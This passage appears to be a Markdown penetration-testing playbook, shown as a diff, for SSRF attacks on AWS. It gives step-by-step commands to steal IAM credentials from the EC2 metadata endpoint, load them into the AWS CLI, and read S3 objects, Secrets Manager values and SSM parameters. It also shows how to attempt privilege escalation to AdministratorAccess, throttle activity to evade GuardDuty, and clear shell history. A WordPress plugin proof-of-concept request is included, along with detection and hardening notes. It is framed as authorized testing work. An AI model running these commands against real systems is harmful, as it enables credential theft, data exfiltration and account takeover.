|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
**Expected Output (reflected in application response):**
|
|
263
|
+
```json
|
|
264
|
+
{
|
|
265
|
+
"Code" : "Success",
|
|
266
|
+
"LastUpdated" : "2024-01-15T10:30:00Z",
|
|
267
|
+
"Type" : "AWS-HMAC",
|
|
268
|
+
"AccessKeyId" : "ASIA1234567890EXAMPLE",
|
|
269
|
+
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
|
|
270
|
+
"Token" : "AQoDYXdzEJr//////////wEa0AP...VERY_LONG_SESSION_TOKEN...==",
|
|
271
|
+
"Expiration" : "2024-01-15T16:30:00Z"
|
|
272
|
+
}
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
**Notes:**
|
|
276
|
+
- Credentials are temporary (typically valid 1–6 hours)
|
|
277
|
+
- `AccessKeyId` starting with `ASIA` indicates temporary/assumed-role credentials
|
|
278
|
+
- Note the `Expiration` time — you have a limited window to act
|
|
279
|
+
- If the response is base64-encoded or URL-encoded, decode it first:
|
|
280
|
+
|
|
281
|
+
```bash
|
|
282
|
+
# If response is base64 encoded:
|
|
283
|
+
curl -s "https://target.example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}" | base64 -d | python3 -m json.tool
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
### Step 5: Configure AWS CLI with Stolen Credentials
|
|
289
|
+
|
|
290
|
+
**Objective:** Set up the AWS CLI to authenticate as the compromised IAM role.
|
|
291
|
+
|
|
292
|
+
```bash
|
|
293
|
+
# 5a. Set environment variables (preferred — avoids writing to disk)
|
|
294
|
+
export AWS_ACCESS_KEY_ID="ASIA1234567890EXAMPLE"
|
|
295
|
+
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
|
|
296
|
+
export AWS_SESSION_TOKEN="AQoDYXdzEJr//////////wEa0AP...VERY_LONG_SESSION_TOKEN...=="
|
|
297
|
+
export AWS_DEFAULT_REGION="us-east-1"
|
|
298
|
+
|
|
299
|
+
# 5b. Verify the credentials work
|
|
300
|
+
aws sts get-caller-identity
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
**Expected Output:**
|
|
304
|
+
```json
|
|
305
|
+
{
|
|
306
|
+
"UserId": "AROA1234567890EXAMPLE:i-0a1b2c3d4e5f67890",
|
|
307
|
+
"Account": "123456789012",
|
|
308
|
+
"Arn": "arn:aws:sts::123456789012:assumed-role/ProductionWebServerRole/i-0a1b2c3d4e5f67890"
|
|
309
|
+
}
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
**Alternative — Named Profile (if you prefer):**
|
|
313
|
+
```bash
|
|
314
|
+
# Configure as a named profile to avoid polluting default
|
|
315
|
+
aws configure set aws_access_key_id "ASIA1234567890EXAMPLE" --profile ssrf-target
|
|
316
|
+
aws configure set aws_secret_access_key "wJalrXUtnFEMI/K7MDENG/..." --profile ssrf-target
|
|
317
|
+
aws configure set aws_session_token "AQoDYXdz..." --profile ssrf-target
|
|
318
|
+
aws configure set region "us-east-1" --profile ssrf-target
|
|
319
|
+
|
|
320
|
+
# Use profile in commands
|
|
321
|
+
aws sts get-caller-identity --profile ssrf-target
|
|
322
|
+
```
|
|
323
|
+
|
|
324
|
+
**Fallback:** If credentials are expired (check `Expiration` field), re-run Steps 3–4 immediately. Credentials refresh automatically on the instance but you must re-fetch them via SSRF.
|
|
325
|
+
|
|
326
|
+
---
|
|
327
|
+
|
|
328
|
+
### Step 6: Enumerate AWS Environment
|
|
329
|
+
|
|
330
|
+
**Objective:** Map the AWS environment to understand the blast radius and identify high-value assets.
|
|
331
|
+
|
|
332
|
+
```bash
|
|
333
|
+
# ---- IDENTITY & ACCOUNT ----
|
|
334
|
+
|
|
335
|
+
# 6a. Who are we and what account is this?
|
|
336
|
+
aws sts get-caller-identity
|
|
337
|
+
aws iam get-role --role-name ProductionWebServerRole 2>/dev/null
|
|
338
|
+
|
|
339
|
+
# 6b. List all IAM users (if permitted)
|
|
340
|
+
aws iam list-users --output table
|
|
341
|
+
|
|
342
|
+
# 6c. List all IAM roles
|
|
343
|
+
aws iam list-roles --output table | head -50
|
|
344
|
+
|
|
345
|
+
# 6d. Check what policies are attached to our role
|
|
346
|
+
aws iam list-attached-role-policies --role-name ProductionWebServerRole
|
|
347
|
+
aws iam list-role-policies --role-name ProductionWebServerRole
|
|
348
|
+
|
|
349
|
+
# 6e. Get the actual policy document to understand permissions
|
|
350
|
+
POLICY_ARN="arn:aws:iam::123456789012:policy/ProductionWebPolicy"
|
|
351
|
+
POLICY_VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN --query 'Policy.DefaultVersionId' --output text)
|
|
352
|
+
aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $POLICY_VERSION
|
|
353
|
+
|
|
354
|
+
# ---- COMPUTE ----
|
|
355
|
+
|
|
356
|
+
# 6f. List all EC2 instances across all regions
|
|
357
|
+
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
|
|
358
|
+
echo "=== Region: $region ==="
|
|
359
|
+
aws ec2 describe-instances --region $region \
|
|
360
|
+
--query 'Reservations[].Instances[].[InstanceId,InstanceType,State.Name,PublicIpAddress,Tags[?Key==`Name`].Value|[0]]' \
|
|
361
|
+
--output table 2>/dev/null
|
|
362
|
+
done
|
|
363
|
+
|
|
364
|
+
# 6g. List Lambda functions
|
|
365
|
+
aws lambda list-functions --query 'Functions[].[FunctionName,Runtime,Handler]' --output table
|
|
366
|
+
|
|
367
|
+
# ---- STORAGE ----
|
|
368
|
+
|
|
369
|
+
# 6h. List all S3 buckets
|
|
370
|
+
aws s3 ls
|
|
371
|
+
|
|
372
|
+
# 6i. Check bucket contents (look for sensitive data)
|
|
373
|
+
aws s3 ls s3://bucket-name/ --recursive | head -30
|
|
374
|
+
|
|
375
|
+
# 6j. Try to read potentially sensitive S3 objects
|
|
376
|
+
aws s3 cp s3://bucket-name/config/database.yaml /tmp/database.yaml
|
|
377
|
+
aws s3 cp s3://bucket-name/.env /tmp/env-file
|
|
378
|
+
|
|
379
|
+
# ---- SECRETS ----
|
|
380
|
+
|
|
381
|
+
# 6k. List secrets in AWS Secrets Manager
|
|
382
|
+
aws secretsmanager list-secrets --query 'SecretList[].[Name,Description]' --output table
|
|
383
|
+
|
|
384
|
+
# 6l. Retrieve a secret value (high value target!)
|
|
385
|
+
aws secretsmanager get-secret-value --secret-id production/database/credentials
|
|
386
|
+
aws secretsmanager get-secret-value --secret-id production/api/stripe-key
|
|
387
|
+
|
|
388
|
+
# 6m. List SSM Parameter Store parameters
|
|
389
|
+
aws ssm describe-parameters --query 'Parameters[].[Name,Type,Description]' --output table
|
|
390
|
+
|
|
391
|
+
# 6n. Get sensitive SSM parameters
|
|
392
|
+
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
|
|
393
|
+
--query 'Parameters[].[Name,Value]' --output table
|
|
394
|
+
|
|
395
|
+
# ---- DATABASES ----
|
|
396
|
+
|
|
397
|
+
# 6o. List RDS instances
|
|
398
|
+
aws rds describe-db-instances \
|
|
399
|
+
--query 'DBInstances[].[DBInstanceIdentifier,Engine,Endpoint.Address,MasterUsername]' \
|
|
400
|
+
--output table
|
|
401
|
+
|
|
402
|
+
# ---- NETWORK ----
|
|
403
|
+
|
|
404
|
+
# 6p. List VPCs and subnets
|
|
405
|
+
aws ec2 describe-vpcs --query 'Vpcs[].[VpcId,CidrBlock,Tags[?Key==`Name`].Value|[0]]' --output table
|
|
406
|
+
|
|
407
|
+
# 6q. List security groups (look for overly permissive rules)
|
|
408
|
+
aws ec2 describe-security-groups \
|
|
409
|
+
--query 'SecurityGroups[].[GroupName,Description,VpcId]' --output table
|
|
410
|
+
|
|
411
|
+
# ---- IAM PRIVILEGE ESCALATION CHECK ----
|
|
412
|
+
|
|
413
|
+
# 6r. Check for IAM privilege escalation paths
|
|
414
|
+
# Use automated tool: enumerate-iam
|
|
415
|
+
pip3 install enumerate-iam
|
|
416
|
+
enumerate-iam --access-key $AWS_ACCESS_KEY_ID \
|
|
417
|
+
--secret-key $AWS_SECRET_ACCESS_KEY \
|
|
418
|
+
--session-token $AWS_SESSION_TOKEN \
|
|
419
|
+
--region us-east-1
|
|
420
|
+
|
|
421
|
+
# 6s. Check if we can create IAM users or attach policies (escalation!)
|
|
422
|
+
aws iam create-user --user-name test-escalation-check 2>&1
|
|
423
|
+
aws iam attach-role-policy --role-name ProductionWebServerRole \
|
|
424
|
+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>&1
|
|
425
|
+
```
|
|
426
|
+
|
|
427
|
+
**Expected High-Value Findings:**
|
|
428
|
+
- Database credentials in Secrets Manager or SSM
|
|
429
|
+
- Other IAM role credentials in S3 config files
|
|
430
|
+
- Internal API keys in environment variables
|
|
431
|
+
- Backup files containing sensitive data in S3
|
|
432
|
+
- EC2 instances in private subnets for lateral movement
|
|
433
|
+
|
|
434
|
+
---
|
|
435
|
+
|
|
436
|
+
### Step 7: Document Findings and Assess Impact
|
|
437
|
+
|
|
438
|
+
```bash
|
|
439
|
+
# Create a findings summary
|
|
440
|
+
mkdir -p /tmp/ssrf-engagement-$(date +%Y%m%d)
|
|
441
|
+
cd /tmp/ssrf-engagement-$(date +%Y%m%d)
|
|
442
|
+
|
|
443
|
+
# Capture account overview
|
|
444
|
+
aws sts get-caller-identity > account-identity.json
|
|
445
|
+
aws iam list-users > iam-users.json 2>/dev/null
|
|
446
|
+
aws s3 ls > s3-buckets.txt
|
|
447
|
+
aws ec2 describe-instances > ec2-instances.json
|
|
448
|
+
aws secretsmanager list-secrets > secrets-list.json 2>/dev/null
|
|
449
|
+
aws lambda list-functions > lambda-functions.json 2>/dev/null
|
|
450
|
+
|
|
451
|
+
echo "Findings captured in /tmp/ssrf-engagement-$(date +%Y%m%d)/"
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
---
|
|
455
|
+
|
|
456
|
+
## Real-World Reference
|
|
457
|
+
|
|
458
|
+
**CVE-2022-4703 — Revolution Slider (RevSlider) WordPress Plugin SSRF**
|
|
459
|
+
|
|
460
|
+
- **Affected Versions:** RevSlider prior to 6.6.12
|
|
461
|
+
- **Vulnerability:** The plugin's slide import feature accepted a remote URL parameter without proper validation or SSRF protection, allowing unauthenticated users to trigger server-side HTTP requests to arbitrary URLs.
|
|
462
|
+
- **Exploitation Path:**
|
|
463
|
+
1. Send a POST request to the RevSlider import endpoint with a crafted URL pointing to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
|
|
464
|
+
2. The WordPress server (running on EC2) fetched the metadata URL and returned the IAM credentials in the response
|
|
465
|
+
3. Attackers used the stolen `AssumeRole` credentials to access AWS S3 buckets, RDS databases, and Secrets Manager
|
|
466
|
+
|
|
467
|
+
**Proof-of-Concept Request:**
|
|
468
|
+
```http
|
|
469
|
+
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
470
|
+
Host: target-wordpress.example.com
|
|
471
|
+
Content-Type: application/x-www-form-urlencoded
|
|
472
|
+
|
|
473
|
+
action=revslider_ajax_action&client_action=import_slider&nonce=VALID_NONCE&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
474
|
+
```
|
|
475
|
+
|
|
476
|
+
**References:**
|
|
477
|
+
- CVE-2022-4703: https://nvd.nist.gov/vuln/detail/CVE-2022-4703
|
|
478
|
+
- HackerOne Report pattern: Multiple bounty reports on SSRF → EC2 metadata pivot
|
|
479
|
+
- Similar real-world case: Capital One breach (2019) — SSRF via WAF misconfiguration → S3 data exfiltration
|
|
480
|
+
|
|
481
|
+
---
|
|
482
|
+
|
|
483
|
+
## MITRE ATT&CK Mapping
|
|
484
|
+
|
|
485
|
+
| Step | Tactic | Technique ID | Technique Name | Sub-technique |
|
|
486
|
+
|------|--------|--------------|----------------|---------------|
|
|
487
|
+
| 1. Discover SSRF Parameter | Reconnaissance | T1595 | Active Scanning | T1595.002 - Vulnerability Scanning |
|
|
488
|
+
| 2. Confirm SSRF via OOB | Initial Access | T1190 | Exploit Public-Facing Application | — |
|
|
489
|
+
| 3. Probe EC2 Metadata | Credential Access | T1552 | Unsecured Credentials | T1552.005 - Cloud Instance Metadata API |
|
|
490
|
+
| 4. Retrieve IAM Credentials | Credential Access | T1552 | Unsecured Credentials | T1552.005 - Cloud Instance Metadata API |
|
|
491
|
+
| 5. Configure AWS CLI | Defense Evasion / Persistence | T1078 | Valid Accounts | T1078.004 - Cloud Accounts |
|
|
492
|
+
| 6a. Enumerate IAM | Discovery | T1069 | Permission Groups Discovery | T1069.003 - Cloud Groups |
|
|
493
|
+
| 6b. Enumerate EC2/Services | Discovery | T1580 | Cloud Infrastructure Discovery | — |
|
|
494
|
+
| 6c. List S3 Buckets | Discovery | T1619 | Cloud Storage Object Discovery | — |
|
|
495
|
+
| 6d. Read S3 / Secrets | Collection | T1530 | Data from Cloud Storage | — |
|
|
496
|
+
| 6e. Privilege Escalation | Privilege Escalation | T1078 | Valid Accounts | T1078.004 - Cloud Accounts |
|
|
497
|
+
| Lateral Movement | Lateral Movement | T1021 | Remote Services | T1021.007 - Cloud Services |
|
|
498
|
+
|
|
499
|
+
---
|
|
500
|
+
|
|
501
|
+
## Detection & OPSEC
|
|
502
|
+
|
|
503
|
+
### How This Attack Is Detected
|
|
504
|
+
|
|
505
|
+
**At the Application Layer:**
|
|
506
|
+
- Web Application Firewall (WAF) rules blocking requests containing `169.254.169.254` in parameters
|
|
507
|
+
- Application logs showing requests with metadata IP in URL parameters
|
|
508
|
+
- Anomaly detection on unusual outbound HTTP requests from the server
|
|
509
|
+
|
|
510
|
+
**At the AWS Layer:**
|
|
511
|
+
- **CloudTrail:** All AWS API calls made with the stolen credentials are logged with the source IP (your attacker IP), which will be different from the EC2 instance IP — this is a high-confidence indicator of credential theft
|
|
512
|
+
- **GuardDuty findings:**
|
|
513
|
+
- `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS` — if used from another AWS account
|
|
514
|
+
- `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` — if used from outside AWS
|
|
515
|
+
- `Discovery:IAMUser/AnomalousBehavior` — bulk enumeration
|
|
516
|
+
- **AWS Security Hub:** Aggregates GuardDuty + Config findings
|
|
517
|
+
- **VPC Flow Logs:** Show unusual outbound connections from EC2 instance
|
|
518
|
+
|
|
519
|
+
**At the Network Layer:**
|
|
520
|
+
- IDS/IPS signatures for SSRF attempts targeting 169.254.x.x
|
|
521
|
+
- Unusual DNS queries from application servers
|
|
522
|
+
|
|
523
|
+
### Reducing Detection Risk During Authorized Engagements
|
|
524
|
+
|
|
525
|
+
```bash
|
|
526
|
+
# OPSEC Tip 1: Use the credentials from within AWS infrastructure if possible
|
|
527
|
+
# (spin up an EC2 in a different account to avoid the "outside AWS" GuardDuty alert)
|
|
528
|
+
|
|
529
|
+
# OPSEC Tip 2: Rate limit your enumeration — avoid bulk API calls
|
|
530
|
+
# Add sleep between commands to mimic normal usage patterns
|
|
531
|
+
for bucket in $(aws s3 ls | awk '{print $3}'); do
|
|
532
|
+
aws s3 ls s3://$bucket/ --recursive 2>/dev/null | head -20
|
|
533
|
+
sleep 2 # throttle to reduce anomaly detection
|
|
534
|
+
done
|
|
535
|
+
|
|
536
|
+
# OPSEC Tip 3: Only query what's needed for the engagement scope
|
|
537
|
+
# Avoid touching resources outside scope (other accounts, production databases)
|
|
538
|
+
|
|
539
|
+
# OPSEC Tip 4: Note credential expiry time and plan enumeration window
|
|
540
|
+
aws sts get-caller-identity # check token validity
|
|
541
|
+
# Credentials expire — plan your work within the 1-6 hour window
|
|
542
|
+
|
|
543
|
+
# OPSEC Tip 5: Use read-only operations only (unless write access is in scope)
|
|
544
|
+
# Prefer Describe/List/Get over Create/Delete/Update
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
### Artifacts Left Behind
|
|
548
|
+
|
|
549
|
+
| Artifact | Location | Persistence |
|
|
550
|
+
|----------|----------|-------------|
|
|
551
|
+
| CloudTrail API call logs | AWS CloudTrail (S3 bucket) | 90 days (default) |
|
|
552
|
+
| GuardDuty findings | AWS GuardDuty console | 90 days |
|
|
553
|
+
| Web application access logs | Target server /var/log/apache2/ or /var/log/nginx/ | Until log rotation |
|
|
554
|
+
| AWS CLI config files | ~/.aws/credentials (if profile used) | Until manually deleted |
|
|
555
|
+
| Downloaded files | /tmp/ssrf-engagement-* | Until manually deleted |
|
|
556
|
+
| VPC Flow Logs | CloudWatch Logs / S3 | Per retention policy |
|
|
557
|
+
|
|
558
|
+
---
|
|
559
|
+
|
|
560
|
+
## Cleanup
|
|
561
|
+
|
|
562
|
+
After completing the authorized engagement, remove all artifacts:
|
|
563
|
+
|
|
564
|
+
```bash
|
|
565
|
+
# ---- LOCAL MACHINE CLEANUP ----
|
|
566
|
+
|
|
567
|
+
# 1. Unset environment variables
|
|
568
|
+
unset AWS_ACCESS_KEY_ID
|
|
569
|
+
unset AWS_SECRET_ACCESS_KEY
|
|
570
|
+
unset AWS_SESSION_TOKEN
|
|
571
|
+
unset AWS_DEFAULT_REGION
|
|
572
|
+
|
|
573
|
+
# 2. Remove AWS CLI profile if created
|
|
574
|
+
aws configure --profile ssrf-target set aws_access_key_id ""
|
|
575
|
+
# Or remove manually:
|
|
576
|
+
nano ~/.aws/credentials # delete [ssrf-target] section
|
|
577
|
+
nano ~/.aws/config # delete [profile ssrf-target] section
|
|
578
|
+
|
|
579
|
+
# 3. Remove downloaded engagement files
|
|
580
|
+
rm -rf /tmp/ssrf-engagement-*/
|
|
581
|
+
|
|
582
|
+
# 4. Remove any temp files created during testing
|
|
583
|
+
rm -f /tmp/database.yaml /tmp/env-file
|
|
584
|
+
|
|
585
|
+
# 5. Clear shell history (optional, discuss with engagement team)
|
|
586
|
+
history -c && history -w
|
|
587
|
+
|
|
588
|
+
# ---- AWS ENVIRONMENT CLEANUP ----
|
|
589
|
+
# (Only if you created any resources during testing)
|
|
590
|
+
|
|
591
|
+
# 6. Remove any IAM users created for testing
|
|
592
|
+
aws iam delete-user --user-name test-escalation-check 2>/dev/null
|
|
593
|
+
|
|
594
|
+
# 7. Remove any S3 objects uploaded during testing
|
|
595
|
+
# aws s3 rm s3://bucket-name/pentest-marker.txt
|
|
596
|
+
|
|
597
|
+
# 8. Verify no persistent resources remain
|
|
598
|
+
aws iam list-users | grep test-escalation-check
|
|
599
|
+
aws s3 ls | grep pentest
|
|
600
|
+
|
|
601
|
+
# ---- DOCUMENT CLEANUP ACTIONS ----
|
|
602
|
+
# Record all cleanup actions in engagement report
|
|
603
|
+
# Confirm with client that GuardDuty findings should be dismissed or kept for audit
|
|
604
|
+
```
|
|
605
|
+
|
|
606
|
+
**Note:** CloudTrail logs and GuardDuty findings cannot be deleted without elevated permissions. Document their existence in the engagement report and advise the client on how to dismiss/archive them after review.
|
|
607
|
+
|
|
608
|
+
---
|
|
609
|
+
|
|
610
|
+
## References
|
|
611
|
+
|
|
612
|
+
### Tools
|
|
613
|
+
|
|
614
|
+
| Tool | Purpose | URL |
|
|
615
|
+
|------|---------|-----|
|
|
616
|
+
| ffuf | Parameter fuzzing / SSRF discovery | https://github.com/ffuf/ffuf |
|
|
617
|
+
| nuclei | Automated SSRF template scanning | https://github.com/projectdiscovery/nuclei |
|
|
618
|
+
| interactsh | Out-of-band SSRF confirmation | https://github.com/projectdiscovery/interactsh |
|
|
619
|
+
| aws-cli v2 | AWS environment enumeration | https://aws.amazon.com/cli/ |
|
|
620
|
+
| enumerate-iam | Automated IAM permission enumeration | https://github.com/andresriancho/enumerate-iam |
|
|
621
|
+
| pacu | AWS exploitation framework | https://github.com/RhinoSecurityLabs/pacu |
|
|
622
|
+
| cloudmapper | AWS environment visualization | https://github.com/duo-labs/cloudmapper |
|
|
623
|
+
| ScoutSuite | AWS multi-cloud security auditing | https://github.com/nccgroup/ScoutSuite |
|
|
624
|
+
| Burp Suite | HTTP interception and SSRF replay | https://portswigger.net/burp |
|
|
625
|
+
|
|
626
|
+
### Vulnerability References
|
|
627
|
+
|
|
628
|
+
- CVE-2022-4703 (RevSlider SSRF): https://nvd.nist.gov/vuln/detail/CVE-2022-4703
|
|
629
|
+
- OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
|
|
630
|
+
- AWS IMDS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
|
|
631
|
+
- AWS IMDSv2 Transition Guide: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-new-instances.html
|
|
632
|
+
- Capital One Breach Analysis (SSRF → S3): https://www.capitalone.com/digital/facts2019/
|
|
633
|
+
- PortSwigger SSRF Lab: https://portswigger.net/web-security/ssrf
|
|
634
|
+
|
|
635
|
+
### MITRE ATT&CK References
|
|
636
|
+
|
|
637
|
+
- T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
|
|
638
|
+
- T1552.005 — Cloud Instance Metadata API: https://attack.mitre.org/techniques/T1552/005/
|
|
639
|
+
- T1078.004 — Valid Accounts: Cloud Accounts: https://attack.mitre.org/techniques/T1078/004/
|
|
640
|
+
- T1580 — Cloud Infrastructure Discovery: https://attack.mitre.org/techniques/T1580/
|
|
641
|
+
- T1530 — Data from Cloud Storage: https://attack.mitre.org/techniques/T1530/
|
|
642
|
+
|
|
643
|
+
### AWS Security Hardening (Defensive Recommendations)
|
|
644
|
+
|
|
645
|
+
- Enforce IMDSv2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
|
|
646
|
+
- AWS GuardDuty SSRF Findings: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html
|
|
647
|
+
- WAF Rules for SSRF Protection: https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-baseline.html
|
|
648
|
+
- Least Privilege IAM Roles: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html
|